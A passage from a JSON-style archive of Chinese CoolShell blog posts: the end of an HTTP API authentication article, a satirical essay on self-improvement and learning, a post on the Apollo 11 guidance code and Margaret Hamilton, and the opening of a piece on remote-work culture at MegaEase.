使用AppID/AppSecret，还是使用OAuth1.0a，还是OAuth2.0，还是使用JWT，我个人建议使用TLS/SSL下的OAuth 2.0。\n* 密钥是需要被管理的，管理就是可以新增可以撤销，可以设置账户和相关的权限。最好密钥是可以被自动更换的。\n* 认证授权服务器（Authorization Server）和应用服务器（App Server）最好分开。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![从“黑掉Github”学Web安全开发](../wp-content/uploads/2014/02/Github-Security-150x150.png)](https://coolshell.cn/articles/11021.html)[从“黑掉Github”学Web安全开发](https://coolshell.cn/articles/11021.html)\n* [![计时攻击 Timing Attacks](../wp-content/uploads/2020/06/time-bomb-150x150.png)](https://coolshell.cn/articles/21003.html)[计时攻击 Timing Attacks](https://coolshell.cn/articles/21003.html)\n* [![从 MongoDB “赎金事件” 看安全问题](../wp-content/uploads/2017/01/MongoDB-150x150.jpg)](https://coolshell.cn/articles/17607.html)[从 MongoDB “赎金事件” 看安全问题](https://coolshell.cn/articles/17607.html)\n* [![关于移动端的钓鱼式攻击](../wp-content/uploads/2015/04/phishing-1-150x150.jpg)](https://coolshell.cn/articles/17066.html)[关于移动端的钓鱼式攻击](https://coolshell.cn/articles/17066.html)\nThe post [HTTP API 认证授权术](https://coolshell.cn/articles/19395.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-6-22 如何超过大多数人.md",
    "content": "---\nlayout: post\ntitle: 如何超过大多数人\ndate: 2019/6/22/ 5:47:57\nupdated: 2019/6/22/ 5:47:57\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2019/06/competition-360x200.png)当你看到这篇文章的标题，你一定对这篇文章产生了巨大的兴趣，因为你的潜意识在告诉你，这是一本人生的“武林秘籍”，而且还是左耳朵写的，一定有干货满满，只要读完，一定可以练就神功并找到超过大多数人的快车道和捷径……然而…… 当你看到我这样开篇时，你一定会觉得我马上就要有个转折，告诉你这是不可能的，一切都需要付出和努力……然而，你错了，这篇文章还真就是一篇“秘籍”，只要你把这些“秘籍”用起来，你就一定可以超过大多数人。而且，这篇文章只有我这个“人生导师”可以写得好。毕竟，我的生命过到了十六进制2B的年纪，踏入这个社会已超过20年，舍我其谁呢？！\n\n\nP.S. 这篇文章借鉴于《[如何写出无法维护的代码](https://coolshell.cn/articles/4758.html)》一文的风格……嘿嘿\n\n\n#### 相关技巧和最佳实践\n\n\n要超过别人其实还是比较简单的，尤其在今天的中国，更是简单。因为，你只看看中国的互联网，你就会发现，他们基本上全部都是在消费大众，让大众变得更为地愚蠢和傻瓜。**所以，在今天的中国，你基本上不用做什么，只需要不使用中国互联网，你就很自然地超过大多数人了**。当然，如果你还想跟他们彻底拉开，甩他们几个身位，把别人打到底层，下面的这些“技巧”你要多多了解一下。\n\n\n在信息获取上，你要不断地向大众鼓吹下面的这些事：\n\n\n* 让大家都用百度搜索引擎查找信息，订阅微信公众号或是到知乎上学习知识……要做到这一步，你就需要把“百度一下”挂在嘴边，然后要经常在群或朋友圈中转发微信公众号的文章，并且转发知乎里的各种“如何看待……”这样的文章，让他们爱上八卦，爱上转发，爱上碎片。\n* 让大家到微博或是知识星球上粉一些大咖，密切关注他们的言论和动向……是的，告诉大家，大咖的任何想法一言一行都可以在微博、朋友圈或是知识星球上获得，让大家相信，你的成长和大咖的见闻和闲扯非常有关系，你跟牛人在一个圈子里你也会变牛。\n* 把今日头条和抖音这样的APP推荐给大家……你只需要让你有朋友成功地安装这两个APP，他们就会花大量的时间在上面，而不能自拔，要让他们安装其实还是很容易的，你要不信你就装一个试玩一会看看（嘿嘿嘿）。\n* 让大家热爱八卦，八卦并不一定是明星的八卦，还可以是你身边的人，比如，公司的同事，自己的同学，职场见闻，社会热点，争议话题，……这些东西总有一些东西会让人心态有很多微妙的变化，甚至花大量的时间去搜索和阅读大量的观点，以及花大量时间与人辩论争论，这个过程会让人上瘾，让人欲罢不能，然而这些事却和自己没有半毛钱关系。你要做的事就是转发其中一些SB或是很极端的观点，造成大家的一睦讨论后，就早早离场……\n* 利用爱国主义，让大家觉得不用学英文，不要出国，不要翻墙，咱们已经是强国了……这点其实还是很容易做到的，因为学习是比较逆人性的，所以，只要你鼓吹那些英文无用论，出国活得更惨，国家和民族都变得很强大，就算自己过得很底层，也有大国人民的感觉。\n\n\n然后，在知识学习和技能训练上，让他们不得要领并产生幻觉\n\n\n* 让他们混淆认识和知识，以为开阔认知就是学习，让他们有学习和成长的幻觉……\n* 培养他们要学会使用碎片时间学习。等他们习惯利用碎片时间吃快餐后，他们就会失去精读一本书的耐性……\n* 不断地给他们各种各样“有价值的学习资料”，让他们抓不住重点，成为一个微信公众号或电子书“收藏家”……\n* 让他们看一些枯燥无味的基础知识和硬核知识，这样让他们只会用“死记硬背”的方式来学习，甚至直接让他们失去信心，直接放弃……\n* 玩具手枪是易用的，重武器是难以操控的，多给他们一些玩具，这样他们就会对玩具玩地得心应手，觉得玩玩具就是自己的专业……\n* 让他们喜欢直接得到答案的工作和学习方式，成为一个伸手党，从此学习再也不思考……\n* 告诉他们东西做出来就好了，不要追求做漂亮，做优雅，这样他们就会慢慢地变成劳动密集型……\n* 让他们觉得自己已经很努力了，剩下的就是运气，并说服他们去‘及时行乐’，然后再也找不到高阶和高效率学习的感觉……\n* 让他们觉得“读完书”、“读过书”就行了，不需要对书中的东西进行思考，进行总结，或是实践，只要囫囵吞枣尽快读完就等同于学好了……\n\n\n最后，在认知和格局上，彻底打垮他们，让他们变成韭菜。\n\n\n* 让他们尽可能地用拼命和加班，尽可能的996，并告诉他们这就是通往成功的唯一路径。这样一来，他们必然会被永远困在低端成为最低的劳动力。\n* 让他们不要看到大的形势，只看到眼前的一亩三分地，做好一个井底之蛙。其实这很简单，就是不要告诉他还有另外一种活法，不要扩大他的认识……\n* 宣扬一夜暴富以及快速挣钱的案例，最好让他们进入“赌博类”或是“传销类”的地方，比如：股市、数字货币……要让他们相信各种财富神话，相信他们就是那个幸运儿，他们也可以成为巴菲特，可以成为马云……\n* 告诉他们，一些看上去很难的事都是有捷径的，比如：21天就能学会机器学习，用区块链就能颠覆以及重构整个世界等等……\n* 多跟他们讲一些小人物的励志的故事，这样让他们相信，不需要学习高级知识，不需要掌握高级技能，只需要用低等的知识和低级的技能，再加上持续不断拼命重复现有的工作，终有一天就会成功……\n* 多让他们跟别人比较，人比人不会气死人，但是会让人变得浮躁，变得心急，变得焦虑，当一个人没有办法控制自己的情绪，没有办法让自己静下心来，人会失去耐性和坚持，开始好大喜欢功，开始装逼，开始歪门邪道剑走偏锋……\n* 让他们到体制内的一些非常稳定的地方工作，这样他们拥有不思进取、怕承担责任、害怕犯错、喜欢偷懒、得过且过的素质……\n* 让他们到体制外的那些喜欢拼命喜欢加班的地方工作，告诉他们爱拼才会赢，努力加班是一种福报，青春就是用来拼的，让他们喜欢上使蛮力的感觉……\n* 告诉他们你的行业太累太辛苦，干不到30岁。让他们早点转行，不要耽误人生和青春……\n* 当他们要做决定的时候，一定要让他们更多的关注自己会失去的东西，而不是会得到的东西。培养他们患得患失心态，让他们认识不到事物真正的价值，失去判断能力……（比如：让他们觉得跟对人拍领导的马屁忠于公司比自我的成长更有价值）\n* 告诉他们，你现有的技能和知识不用更新，就能过好一辈子，新出来的东西没有生命力的……这样他们就会像我们再也不学习的父辈一样很快就会被时代所抛弃……\n* 每个人都喜欢在一些自己做不到的事上找理由，这种能力不教就会，比如，事情太多没有时间，因为工作上没有用到，等等，你要做的就是帮他们为他们做不到的事找各种非常合理的理由，比如：没事的，一切都是最好的安排；你得不到的那个事没什么意思；你没有面好主要原因是那个面试官问的问题都是可以上网查得到的知识，而不没有问到你真正的能力上；这些东西学了不用很快会忘了，等有了环境再学也不迟……\n\n\n**最后友情提示一下，上述的这些“最佳实践”你要小心，是所谓，贩毒的人从来不吸毒，开赌场的人从来不赌博！所以，你要小心别自己也掉进去了！这就是“欲练神功，必先自宫”的道理。**\n\n\n#### 相关原理和思维模型\n\n\n对于上面的这些技巧还有很多很多，你自己也可以发明或是找到很多。所以，我来讲讲这其中的一些原理。\n\n\n一般来说，超过别人一般来说就是两个维度：\n\n\n1. **在认知、知识和技能上**。这是一个人赖以立足社会的能力（参看《[程序员的荒谬之言还是至理名言？](https://coolshell.cn/articles/4235.html)》和《[21天教你学会C++](https://coolshell.cn/articles/2250.html)》）\n2. **在领导力上**。所谓领导力就是你跑在别人前面，你得要有比别人更好的能力更高的标准（参看《[技术人员发展之路](https://coolshell.cn/articles/17583.html)》）\n\n\n首先，我们要明白，人的技能是从认识开始，然后通过学校、培训或是书本把“零碎的认知”转换成“系统的知识”，而有要把知识转换成技能，就需要训练和实践，这样才能完成从：认识 -> 知识 -> 技能 的转换。这个转换过程是需要耗费很多时间和精力的，而且其中还需要有强大的学习能力和动手能力，这条路径上有很多的“关卡”，每道关卡都会过滤掉一大部分人。比如：对于一些比较枯燥的硬核知识来说，90%的人基本上就倒下来，不是因为他们没有智商，而是他们没有耐心。\n\n\n##### 认知\n\n\n要在认知上超过别人，就要在下面几个方面上做足功夫：\n\n\n1）**信息渠道**。试想如果别人的信息源没有你的好，那么，这些看不见信息源的人，只能接触得到二手信息甚至三手信息，只能获得被别人解读过的信息，这些信息被三传两递后必定会有错误和失真，甚至会被传递信息的中间人hack其中的信息（也就是“中间人攻击”），而这些找不出信息源的人，只能“被人喂养”，于是，他们最终会被困在信息的底层，永世不得翻身。（比如：学习C语言，放着原作者K&R的不用，硬要用错误百出谭浩强的书，能有什么好呢？）\n\n\n2）**信息质量**。信息质量主要表现在两个方面，一个是信息中的燥音，另一个是信息中的质量等级，我们都知道，在大数据处理中有一句名言，叫 garbage in garbage out，你天天看的都是垃圾，你的思想和认识也只有垃圾。所以，如果你的信息质量并不好的话，你的认知也不会好，而且你还要花大量的时间来进行有价值信息的挖掘和处理。\n\n\n3）**信息密度**。优质的信息，密度一般都很大，因为这种信息会逼着你去干这么几件事，a）搜索并学习其关联的知识，b）沉思和反省，c）亲手去推理、验证和实践……一般来说，经验性的文章会比知识性的文章会更有这样的功效。比如，类似于像 Effiective C++/Java，设计模式，Unix编程艺术，算法导论等等这样的书就是属于这种密度很大的书，而像[Netflix的官方blog](https://medium.com/netflix-techblog)和[AWS CTO的blog](https://www.allthingsdistributed.com/)等等地方也会经常有一些这样的文章。\n\n\n##### 知识\n\n\n要在知识上超过别人，你就需要在下面几个方面上做足功夫：\n\n\n1）**知识树（图）**。任何知识，只在点上学习不够的，需要在面上学习，这叫系统地学习，这需要我们去总结并归纳知识树或知识图，一个知识面会有多个知识板块组成，一个板块又有各种知识点，一个知识点会导出另外的知识点，各种知识点又会交叉和依赖起来，学习就是要系统地学习整个知识树（图）。而我们都知道，**对于一棵树来说，“根基”是非常重要的，所以，学好基础知识也是非常重要的，对于一个陌生的地方，有一份地图是非常重要的，没有地图的你只会乱窜，只会迷路、练路、走冤枉路！**\n\n\n2）**知识缘由**。任何知识都是有缘由的，了解一个知识的来龙去脉和前世今生，会让你对这个知识有非常强的掌握，而不再只是靠记忆去学习。靠记忆去学习是一件非常糟糕的事。而对于一些操作性的知识（不需要了解由来的），我把其叫操作知识，就像一些函数库一样，这样的知识只要学会查文档就好了。**能够知其然，知其所以然的人自然会比识知识到表皮的人段位要高很多。**\n\n\n3）**方法套路**。学习不是为了找到答案，而是找到方法。就像数学一样，你学的是方法，是解题思路，是套路，会用方程式解题的和不会用方程式解题的在解题效率上不可比较，而在微积分面前，其它的解题方法都变成了渣渣。**你可以看到，掌握高级方法的人比别人的优势有多大，学习的目的就是为了掌握更为高级的方法和解题思路**。\n\n\n##### 技能\n\n\n要在技能上超过别人，你就需要在下面几个方面做足功夫：\n\n\n1）**精益求精**。如果你想拥有专业的技能，你要做不仅仅是拼命地重复一遍又一遍的训练，而是在每一次重复训练时你都要找到更好的方法，总结经验，让新的一遍能够更好，更漂亮，更有效率，否则，用相同的方法重复，那你只不过在搬砖罢了。\n\n\n2）**让自己犯错**。犯错是有利于成长的，这是因为出错会让人反思，反思更好的方法，反思更完美的方案，总结教训，寻求更好更完美的过程，是技能升级的最好的方式。尤其是当你在出错后，被人鄙视，被人嘲笑后，你会有更大的动力提升自己，这样的动力才是进步的源动力。当然，千万不要同一个错误重复地犯！\n\n\n3）**找高手切磋**。下过棋，打个球的人都知道，你要想提升自己的技艺，你必需找高手切磋，在和高手切磋的过程中你会感受到高手的技能和方法，有时候你会情不自禁地哇地一下，我靠，还可以这么玩！\n\n\n##### 领导力\n\n\n最后一个是领导力，要有领导力或是影响力这个事并不容易，这跟你的野心有多大，好胜心有多强 ，你愿意付出多少很有关系，因为一个人的领导力跟他的标准很有关系，因为有领导力的人的标准比绝大多数人都要高。\n\n\n1）**识别自己的特长和天赋**。首先，每个人DNA都可能或多或少都会有一些比大多数人NB的东西（当然，也可能没有），如果你有了，那么在你过去的人生中就一定会表现出来了，就是那种大家遇到这个事会来请教你的寻求你帮助的现象。那种，别人要非常努力，而且毫不费劲的事。一旦你有了这样的特长或天赋，那你就要大力地扩大你的领先优势，千万不要进到那些会限制你优势的地方。你是一条鱼，你就一定要把别人拉到水里来玩，绝对不要去陆地上跟别人拼，不断地在自己的特长和天赋上扩大自己的领先优势，彻底一骑绝尘。\n\n\n2）**识别自己的兴趣和事业**。没有天赋也没有问题，还有兴趣点，都说兴趣是最好的老师，当年，Linus就是在学校里对minx着迷了，于是整出个Linux来，这就是兴趣驱动出的东西，一般来说，兴趣驱动的事总是会比那些被动驱动的更好。但是，这里我想说明一下什么叫“真∙兴趣”，真正的兴趣不是那种三天热度的东西，而是那种，你愿意为之付出一辈子的事，是那种无论有多大困难有多难受你都要死磕的事，这才是“真∙兴趣”，这也就是你的“野心”和“好胜心”所在，其实上升到了你的事业。相信我，绝大多数人只有职业而没有事业的。\n\n\n3）**建立高级的习惯和方法**。没有天赋没有野心，也还是可以跟别人拼习惯拼方法的，只要你有一些比较好的习惯和方法，那么你一样可以超过大多数人。对此，在习惯上你要做到比较大多数人更自律，更有计划性，更有目标性，比如，每年学习一门新的语言或技术，并可以参与相关的顶级开源项目，每个月训练一个类算法，掌握一种算法，每周阅读一篇英文论文，并把阅读笔记整理出来……自律的是非常可怕的。除此之外，你还需要在方法上超过别人，你需要满世界的找各种高级的方法，其中包括，思考的方法，学习的方法、时间管理的方法、沟通的方法这类软实力的，还有，解决问题的方法（trouble shooting 和 problem solving），设计的方法，工程的方法，代码的方法等等硬实力的，一开始照猫画虎，时间长了就可能会自己发明或推导新的方法。\n\n\n4）**勤奋努力执着坚持**。如果上面三件事你都没有也没有能力，那还有最后一件事了，那就是勤奋努力了，就是所谓的“一万小时定律”了（参看《[21天教你学会C++](https://coolshell.cn/articles/2250.html)》中的十年学编程一节），我见过很多不聪明的人，悟性也不够（比如我就是一个），别人学一个东西，一个月就好了，而我需要1年甚至更长，但是很多东西都是死的，只要肯花时间就有一天你会搞懂的，耐不住我坚持十年二十年，聪明的人发明个飞机飞过去了，笨一点的人愚公移山也过得去，因为更多的人是懒人，我不用拼过聪明人，我只用拼过那些懒人就好了。\n\n\n好了，就这么多，如果哪天你变得消极和不自信，你要来读读我的这篇文章，子曰：温故而知新。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [如何超过大多数人](https://coolshell.cn/articles/19464.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2019-7-21 50年前的登月程序和程序员有多硬核.md",
    "content": "---\nlayout: post\ntitle: 50年前的登月程序和程序员有多硬核\ndate: 2019/7/21/ 11:0:30\nupdated: 2019/7/21/ 11:0:30\nstatus: publish\npublished: true\ntype: post\n---\n\n2019年7月20日，是有纪念意义的一天，这天不是因为广大网民帮周杰伦在新浪微博上的超话刷到第一，而是阿波罗登月的50周年的纪念日。早在几年前，在Github上放出了当年Apollo飞船使用的源代码（当然是汇编的），但完全不明白为什么这几天会有一些中国的小朋友到这个github的issue里灌水……，人类历史上这么伟大的一件事，为什么不借这个机会学习一下呢？下面是一些阿波罗登月与程序员相关的小故事，顺着这些东西，你可以把你的周末和精力用得更有价值。\n\n\n![](../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766.jpg)\n\n\n首先，要说的是Apollo 11导航的源代码，这些代码的设计负责人叫[Margaret Heafield Hamilton](https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer))，是一个女程序员，专业是数学和哲学，1960年得到一个MIT麻省理工大学的临时的软件开发职位，负责在PDP-1和LGP-30上运行天气预报的软件（注：在计算机历史上，PDP系统机器被称为Hack文化的重要推手，PDP-11推了Unix操作系统，而Unix操作系统则是黑客文化的重要产品。参看《[Unix传奇](https://coolshell.cn/articles/2322.html)》）。然后，她又为美国空军编写探测知敌方飞行的软件，之后，于1965年的时候，她加入了MIT仪器实验室，并成为了这个实验室的主管，这个实验实就是Apollo计划的一部分，她负责编写全新的月球登录的导航软件，以及后来该软件在其他项目中的各个版本。\n\n\n\n上图是Hamilton站在她和她的麻省理工团队为阿波罗项目制作的导航软件源代码旁边，在Github上的开源的代码 – [Apollo-11](https://github.com/chrislgarry/Apollo-11) （2016年开源）。我们可以看到，有两个重要的目录，一个目录叫“Comanche055”，一个目录叫“Luminary099”，前者是指挥舱用的（英文为 [Command Module](https://en.wikipedia.org/wiki/Apollo_command_and_service_module#Command_Module_(CM)) ）后者为登月舱用的（英文为 [Lunar Module](https://en.wikipedia.org/wiki/Apollo_Lunar_Module)），这里需要说明一下的是，指挥舱是把登录舱推到月球上，在返回的时候，登录舱是被抛弃掉的，而返回到地球的是指挥舱。如果你想看这两份源代码的纸版，你可以访问这两个链接：[Comanche 55 AGC Program Listing](https://archive.org/details/Comanche55J2k60) 和 [Luminary 99 REv.1 AGC Program Listing](https://archive.org/details/Luminary99001J2k60)。其中的55 和 90 是各自的build 版本号。\n\n\n我们细看一下，这些文件的日期是，1969年7月14日，而Apollo 11登月的日期是1969年7月16日起程，7月19日经过月球背面，7月20日下午8点登月。代码写好，两天后就直接上生产，然后就登月，还是导航代码，这代码写的的健壮性得有多强。\n\n\n如果你仔细比较一下这两个目录中的文件，你会发现有些文件是一样的，不但文件名一样，而且内容也一样。这说明这两个模块中的一些东西是相似的。\n\n\n![](../wp-content/uploads/2019/07/source.code_.compare.png)\n\n\n这些代码应该是很难读了，因为当时写这些代码的时候，C语言都没有被发明，所以基本上来说都是汇编代码了，而且还可以发现，这些代码的源文件全是以agc后缀结尾的， 看来这还不是我们平时所了解的汇编，所谓的AGC代表了运行这些代码的计算机 – [Apollo Guideance Computer](https://en.wikipedia.org/wiki/Apollo_Guidance_Computer) 。沿着这个Wikipedia的链接，你可以看到AGC这个电脑的指令是什么样的，看懂那几条指令后，这些源代码也就能读懂了。当然，因为是写成汇编的，所以，读起来还是要费点神的。不过，其中有一个文件是 `[LUNAR\\_LANDING\\_GUIDANCE\\_EQUATIONS.agc](https://github.com/chrislgarry/Apollo-11/blob/master/Luminary099/LUNAR_LANDING_GUIDANCE_EQUATIONS.agc)` 你会不会很好奇想去看看？\n\n\n打开源文件，你还可以看到每个文件都有很多很多的注释，非常友好，但是也有一些注释比较有趣。这里有一组短视频带你读这些代码 – [Exploring the Apollo Guidance Computer(AGC) Code](https://www.pluralsight.com/courses/moon-landing-apollo-11)，一供10个小视频，每个2分钟左右，如果你英文听边还行（我觉得很容易听懂），可以看看，了解一下AGC的工作方式，挺有趣意思的。\n\n\n当时的AGC有32公斤，主频只有2MHz，2K的RAM，36K的ROM。嗯，当年就是这么一个小玩意，把人送上了月球，今天，一个聊天程序就占内存几GB……\n\n\n下面是AGC在Apollo 1指挥舱里的样子（图片截自上面的视频），这个高质量的3D扫描来自 [Simithsonian 3D: Apollo 11 Command Module](https://www.3d.si.edu/explorer/apollo-11-command-module) （我觉得美国人干这些事干就是很漂亮啊，这种高清的3D扫描太牛了，如果你仔细看，这个舱里还有宇航员在舱壁上的手写）\n\n\n![](../wp-content/uploads/2019/07/AGC.DSKY_.png)\n\n\n这个AGC的操作界面又叫DSKY – Display 和 Keyboard的缩写，下图是一个 AGC 模拟器，其官方主页在 <https://www.ibiblio.org/apollo/>源代码在 [Github/VirtualAGC](https://github.com/virtualagc/virtualagc)。在这个界面上我们可以看到：下面的键盘上左边有两个键，一个是动词Verb一个是名词Noun，Verb指定操作类型，Noun指定要由Verb命令修改的数据。右边的显示器下面有三个5位的数字，这三个数值显示表示航天器姿态的矢量，以及所需速度变化的显示矢量。是的，当年的导航就靠这三个数字和里面的程序了。\n\n\n![](../wp-content/uploads/2019/07/DSKY.png)\n\n\n \n\n\n如果你想了解AGC更多的细节，你可以看看 这篇 [AGC for Dummies](http://www.ibiblio.org/apollo/ForDummies.html)。这篇文章讲述了AGC这个嵌入式系统的背景和操作指令。一份详细的[AGC 汇编语言手册](http://www.ibiblio.org/apollo/assembly_language_manual.html)可以让你了解更多的细节。\n\n\n另外，我在Youtube上找到了一个讲当时Apollo电脑的纪录片 – [Navigation Computer](https://www.youtube.com/watch?v=9YA7X5we8ng)，太有趣了。比如：21分51秒开始讲存储用的 [Rope Memory](https://en.wikipedia.org/wiki/Core_rope_memory) 绕线内存，Hamilton 也出来讲了一下在这种内存上编程，画面切到一个人用个比较长的金属针在一个像主板一样的东西上，左右穿梭，就像刺绣一样，但是绣的不是图案，而是程序……太硬核了，真正的通过“硬编织”的方式来写程序。\n\n\n[![](../wp-content/uploads/2019/07/rope.memory.png)](https://www.youtube.com/watch?v=9YA7X5we8ng)\n\n\n看完上面这个纪录篇，我是非常之惊叹，惊叹于50年前的工程能力，惊叹于50年前这些人面对技术的的一丝不苟，对技术的尊重和严谨的这种精神和方法，一点都不比较今天差。\n\n\n不过，最牛的还不是这个，我在Hamilton的Wikipedia词条上找到了他说的一个事件—— 当年Apollo登陆雷达开关放在了错误的位置，导致AGC收到了不少错误的信号。结果就是AGC既得执行着陆必须的计算，又要接受这些占用其15%时间的额外数据。但是AGC的程序居然可以用高优先级的任务打断低优先级的任务，于是，AGC自动剔除了低级别的任务以保证了重要的任务完成。Hamilton 原话说—— 如果当时的程序不能识别错误并从错误中恢复，我怀疑阿波罗不能成功登月。if the computer hadn’t recognized this problem and taken recovery action, I doubt if Apollo 11 would have been the successful moon landing it was。\n\n\n看到这里，你有没有觉得——“这个女程序员的一小步，是整个人类的一大步”？\n\n\nHamilton 的牛逼之外还在于，她是第一个将“软件工程”提出来的人，在MIT，她想让软件开发就像其它工程一样，有相应的工程纪律，给于相关的尊重，于是她创造了Software Engineering这个词。2018年，[IEEE在纪念软件工程50周年](https://www.computer.org/csdl/magazine/so/2018/05)的时候，他们把 Hamilton 请过去讲了一个叫 [What the Errors Tell Us](https://ieeexplore.ieee.org/document/8409915) 的主题。她绝对可以称得上是程序员的Pioneer。\n\n\n三年前，Apollo的源代码被开源时候，Twitter有个叫 Lin Clark 的人发了一条推：“我妈50年前的代码被放到Github上了”，虽然，她不是 Hamilton 的女儿，但她妈妈也是Apollo其中一个程序员，现在Lin Clark同样也是一个程序员，目前在 Mozilla工作，Staff Engineer，专长 WebAssembly, Rust, 和 JavaScript ，也是个非常厉害的程序，Youtube上各种演讲，也是一个跟他妈妈一样牛的人。\n\n\n当她在Twitter上这么自豪地发了一条这样的推后，我不知道各位有什么想法？想不想你的后代在未来也会这样自豪的发条微博？  \n\n![](../wp-content/uploads/2019/07/Lin-Clark-e1563706128853.jpg)\n\n\n \n\n\n最后，尤其是想对那些到Apollo源代码的issue里发spam垃圾信息的人说一下，你看看人家，再看看你们自己，你们是不是想让你们的孩子在登月100周年纪念的时候说——50年前我爹那个傻叉在Apollo的github的issue列表时写了些垃圾，还以为自己多机灵？！\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![Bret Victor – Learnable Programming](../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg)](https://coolshell.cn/articles/8387.html)[Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [50年前的登月程序和程序员有多硬核](https://coolshell.cn/articles/19612.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-1-31 MegaEase的远程工作文化.md",
    "content": "---\nlayout: post\ntitle: MegaEase的远程工作文化\ndate: 2020/1/31/ 7:23:18\nupdated: 2020/1/31/ 7:23:18\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/01/remote-300x177.jpg)[MegaEase](https://megaease.com/) 是我创业的公司，主要是想把云计算（PaaS/SaaS层）的那些高可用高并发的分布式技术普及到那需要对技术自主可控的公司，这样就不需要去使用不能自主可控的闭源系统或是大公司的云平台。我于2016年开始成立MegaEase，从早期8个人，直到今天有20来个人，我们从一开始到今天都是在远程工作的公司文化。因为我很喜欢《[Rework](https://coolshell.cn/articles/9156.html)》这本书，写这本书的公司叫37signal（现名basecamp），这家公司在发《Rework》这本书的时候，整个公司只有16个人，分布在全世界8个城市，这种Geek的公司的文化很吸引我，所以，在我决定创业的时候，我就止不住地想成立这样能够远程工作的公司，于是，远程工作的团队文化就这样成为了MegaEase的基因。**下面我会分享一下，我们公司的远程工作文化和其中的一些问题，最后还有一个工作协议**。\n\n\n我们在早期的时候，8个员工来自5个城市，现在的20来个员工来自8个城市2个国家。虽然我们现在使用“共享办公室”，但是本质上，我们的整个文化是远程工作的文化。在2017-2018年度，我们公司产品商业化以来，公司早期的8个工程师在远程工作的状态下成功支持了得到的老罗的跨年演讲活动，以及其它几个客户，一方面验证了用户愿意付费购买我们的产品和服务之后，另一方面也有一些不错的收入，客单价都在百万左右。还记得当时，有几个投资人并不相信我们连个办公室都没有，而且8个人分布在5个城市，觉得我们是个骗子公司（哈哈）。在过去的一年，我们通过我们的产品和服务帮助银行电信互联网等公司进行了他们的系统架构的改造和升级，让复杂和高门槛的分布式技术和架构可以被更多的企业所掌握所应用。这说明，远程工作是没有什么问题的。实际上远程团队远程工作真的不新鲜，Github上有个Repo维护着一个[支持远程工作的公司列表](https://github.com/remoteintech/remote-jobs)，还有一个[跟远程工作相关的Awesome索引](https://github.com/lukasz-madon/awesome-remote-job)。\n\n\n当然，自从我创业以来，我身边就一直有好些不同的声音质疑远程工作。听过他们的理由后，我能够理解他们的疑虑和困惑，因为管理的确是一个很复杂的事，因为要面对的是极为复杂的人，所以，有这些疑虑也是正常的。下面是我的一些经验和分享。先说宏观管理，再说微观实践。\n\n\n\n#### 宏观管理\n\n\n我发现很多人比较质疑远程工作的原因，更多的是表现在对宏观的管理上有问题。所以，我还是想先说一下宏观管理，这其实并不分远程办公还是集中式办公，**如果能够解决好些这管理上的根本问题，其实，远程不远程都无所谓了。只不过，这些问题在“远程办室”的场景更更突显罢了**。\n\n\n##### 